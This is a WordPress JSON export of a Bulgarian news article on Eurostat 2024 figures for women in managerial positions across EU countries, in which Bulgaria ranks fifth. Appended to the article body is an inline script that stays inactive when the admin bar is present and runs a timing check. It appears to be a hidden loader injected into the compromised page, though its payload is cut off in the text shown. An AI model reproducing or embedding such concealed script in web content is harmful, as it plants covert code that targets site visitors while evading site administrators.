{"id":341266,"date":"2026-03-04T17:33:00","date_gmt":"2026-03-04T15:33:00","guid":{"rendered":"https:\/\/www.nbp.bg\/nbp\/?p=341266"},"modified":"2026-05-12T02:00:23","modified_gmt":"2026-05-11T23:00:23","slug":"%d0%b1%d1%8a%d0%bb%d0%b3%d0%b0%d1%80%d0%b8%d1%8f-%d0%b5-%d0%bd%d0%b0-%d0%bf%d0%b5%d1%82%d0%be-%d0%bc%d1%8f%d1%81%d1%82%d0%be-%d0%b2-%d0%b5%d1%81-%d0%bf%d0%be-%d0%b4%d1%8f%d0%bb-%d0%bd%d0%b0-%d0%b6","status":"publish","type":"post","link":"https:\/\/www.nbp.bg\/nbp\/%d0%b1%d1%8a%d0%bb%d0%b3%d0%b0%d1%80%d0%b8%d1%8f-%d0%b5-%d0%bd%d0%b0-%d0%bf%d0%b5%d1%82%d0%be-%d0%bc%d1%8f%d1%81%d1%82%d0%be-%d0%b2-%d0%b5%d1%81-%d0%bf%d0%be-%d0%b4%d1%8f%d0%bb-%d0%bd%d0%b0-%d0%b6\/","title":{"rendered":"\u0411\u044a\u043b\u0433\u0430\u0440\u0438\u044f \u0435 \u043d\u0430 \u043f\u0435\u0442\u043e \u043c\u044f\u0441\u0442\u043e \u0432 \u0415\u0421 \u043f\u043e \u0434\u044f\u043b \u043d\u0430 \u0436\u0435\u043d\u0438 \u043d\u0430 \u043c\u0435\u043d\u0438\u0434\u0436\u044a\u0440\u0441\u043a\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438"},"content":{"rendered":"\n<p><strong><em>\u041d\u0430\u0439-\u0433\u043e\u043b\u044f\u043c \u0434\u044f\u043b \u043d\u0430 \u0436\u0435\u043d\u0438\u0442\u0435 \u043d\u0430 \u0440\u044a\u043a\u043e\u0432\u043e\u0434\u043d\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0430\u043d \u0432 \u0428\u0432\u0435\u0446\u0438\u044f, \u0430 \u043d\u0430\u0439-\u043d\u0438\u0441\u044a\u043a \u0434\u044f\u043b \u0432 \u041a\u0438\u043f\u044a\u0440, \u0441\u043e\u0447\u0430\u0442 \u0434\u0430\u043d\u043d\u0438\u0442\u0435 \u043d\u0430 \u0415\u0432\u0440\u043e\u0441\u0442\u0430\u0442 \u0437\u0430 2024 \u0433. <\/em><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<figure class=\"wp-block-image size-full\"><img width=\"900\" height=\"508\" src=\"https:\/\/www.nbp.bg\/nbp\/wp-content\/uploads\/2026\/03\/jeni-menidjari.jpg\" alt=\"\" class=\"wp-image-341267 colorbox-341266\" srcset=\"https:\/\/www.nbp.bg\/nbp\/wp-content\/uploads\/2026\/03\/jeni-menidjari.jpg 900w, https:\/\/www.nbp.bg\/nbp\/wp-content\/uploads\/2026\/03\/jeni-menidjari-280x158.jpg 280w, https:\/\/www.nbp.bg\/nbp\/wp-content\/uploads\/2026\/03\/jeni-menidjari-768x433.jpg 768w\" sizes=\"(max-width: 900px) 100vw, 900px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>\u041f\u0440\u0435\u0437 2024 \u0433. 35,2 \u043d\u0430 \u0441\u0442\u043e \u043e\u0442 \u0432\u0441\u0438\u0447\u043a\u0438 \u0440\u044a\u043a\u043e\u0432\u043e\u0434\u043d\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0432 \u0415\u0421 \u0441\u0430 \u0431\u0438\u043b\u0438 \u0437\u0430\u0435\u043c\u0430\u043d\u0438 \u043e\u0442 \u0436\u0435\u043d\u0438, \u043a\u043e\u0435\u0442\u043e \u0435 \u0440\u044a\u0441\u0442 \u0441\u043f\u0440\u044f\u043c\u043e 31,8 \u043d\u0430 \u0441\u0442\u043e \u043f\u0440\u0435\u0437 2014 \u0433., \u0441\u044a\u043e\u0431\u0449\u0430\u0432\u0430 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\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0430\u043d \u0432 <strong>\u0428\u0432\u0435\u0446\u0438\u044f (44,4 \u043d\u0430 \u0441\u0442\u043e),<\/strong> \u0441\u043b\u0435\u0434\u0432\u0430\u043d\u0430 \u043e\u0442 \u041b\u0430\u0442\u0432\u0438\u044f (43,4 \u043d\u0430 \u0441\u0442\u043e) \u0438 \u041f\u043e\u043b\u0448\u0430 (41,8 \u043d\u0430 \u0441\u0442\u043e). \u041d\u0430\u0439-\u043d\u0438\u0441\u043a\u0438\u0442\u0435 \u0434\u044f\u043b\u043e\u0432\u0435 \u0441\u0430 \u0432 <strong>\u041a\u0438\u043f\u044a\u0440<\/strong> (25,3 \u043d\u0430 \u0441\u0442\u043e), \u0425\u044a\u0440\u0432\u0430\u0442\u0438\u044f (27,6 \u043d\u0430 \u0441\u0442\u043e) \u0438 \u0418\u0442\u0430\u043b\u0438\u044f (27,9 \u043d\u0430 \u0441\u0442\u043e).<\/p>\n\n\n\n<p><strong>\u0411\u044a\u043b\u0433\u0430\u0440\u0438\u044f \u0441\u0435 \u043d\u0430\u0440\u0435\u0436\u0434\u0430 \u043d\u0430 5-\u043e \u043c\u044f\u0441\u0442\u043e \u0441\u0440\u0435\u0434 \u0441\u0442\u0440\u0430\u043d\u0438\u0442\u0435 \u0441 \u043d\u0430\u0439-\u0432\u0438\u0441\u043e\u043a \u0434\u044f\u043b \u043d\u0430 \u0436\u0435\u043d\u0438 \u043d\u0430 \u043c\u0435\u043d\u0438\u0434\u0436\u044a\u0440\u0441\u043a\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043f\u0440\u0435\u0437 2024 \u0433.<\/strong><\/p>\n\n\n\n<p>\u041e\u0442 2014 \u0433. 24 \u0441\u0442\u0440\u0430\u043d\u0438 \u043e\u0442 \u0415\u0421 \u0441\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0430\u043b\u0438 \u0440\u044a\u0441\u0442 \u043d\u0430 \u0434\u0435\u043b\u0430 \u043d\u0430 \u0436\u0435\u043d\u0438\u0442\u0435 \u043d\u0430 \u0440\u044a\u043a\u043e\u0432\u043e\u0434\u043d\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438. \u041d\u0430\u0439-\u0433\u043e\u043b\u044f\u043c\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0435 \u043e\u0442\u0447\u0435\u0442\u0435\u043d\u043e \u0432 \u041b\u044e\u043a\u0441\u0435\u043c\u0431\u0443\u0440\u0433 (13,7 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430), \u041c\u0430\u043b\u0442\u0430 (10,1 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430) \u0438 \u041a\u0438\u043f\u044a\u0440 (7,9 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430). \u0417\u0430 \u0441\u043c\u0435\u0442\u043a\u0430 \u043d\u0430 \u0442\u043e\u0432\u0430 \u0441\u043f\u0430\u0434 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0430\u0442 \u0421\u043b\u043e\u0432\u0435\u043d\u0438\u044f (-3,8 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430), \u041b\u0430\u0442\u0432\u0438\u044f (-0,7 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430) \u0438 \u041b\u0438\u0442\u0432\u0430 (-0,2 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u0438 \u043f\u0443\u043d\u043a\u0442\u0430).<\/p>\n\n\n\n<p>\u0422\u0430\u0437\u0438 \u0441\u0442\u0430\u0442\u0438\u044f \u0435 \u0447\u0430\u0441\u0442 \u043e\u0442 \u043f\u043e\u0440\u0435\u0434\u0438\u0446\u0430, \u043a\u043e\u0438\u0442\u043e \u0441\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0432\u0430\u0442 \u043f\u043e \u0441\u043b\u0443\u0447\u0430\u0439 \u041c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u0438\u044f \u0434\u0435\u043d \u043d\u0430 \u0436\u0435\u043d\u0430\u0442\u0430, \u043a\u043e\u0439\u0442\u043e \u0441\u0435 \u043e\u0442\u0431\u0435\u043b\u044f\u0437\u0432\u0430 \u043d\u0430 8 \u043c\u0430\u0440\u0442.<\/p>\n\n\n\n<p><em>\u0421\u043d\u0438\u043c\u043a\u0430: \u0415urostat\/Shutterstock<\/em><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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\u0432\u0441\u0438\u0447\u043a\u0438 \u0440\u044a\u043a\u043e\u0432\u043e\u0434\u043d\u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0432 \u0415\u0421 \u0441\u0430 \u0431\u0438\u043b\u0438 \u0437\u0430\u0435\u043c\u0430\u043d\u0438 \u043e\u0442 \u0436\u0435\u043d\u0438, \u043a\u043e\u0435\u0442\u043e \u0435 \u0440\u044a\u0441\u0442 \u0441\u043f\u0440\u044f\u043c\u043e 31,8 \u043d\u0430 \u0441\u0442\u043e \u043f\u0440\u0435\u0437 2014 \u0433., \u0441\u044a\u043e\u0431\u0449\u0430\u0432\u0430 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0430\u0442\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0430 \u0441\u043b\u0443\u0436\u0431\u0430 \u0415\u0432\u0440\u043e\u0441\u0442\u0430\u0442 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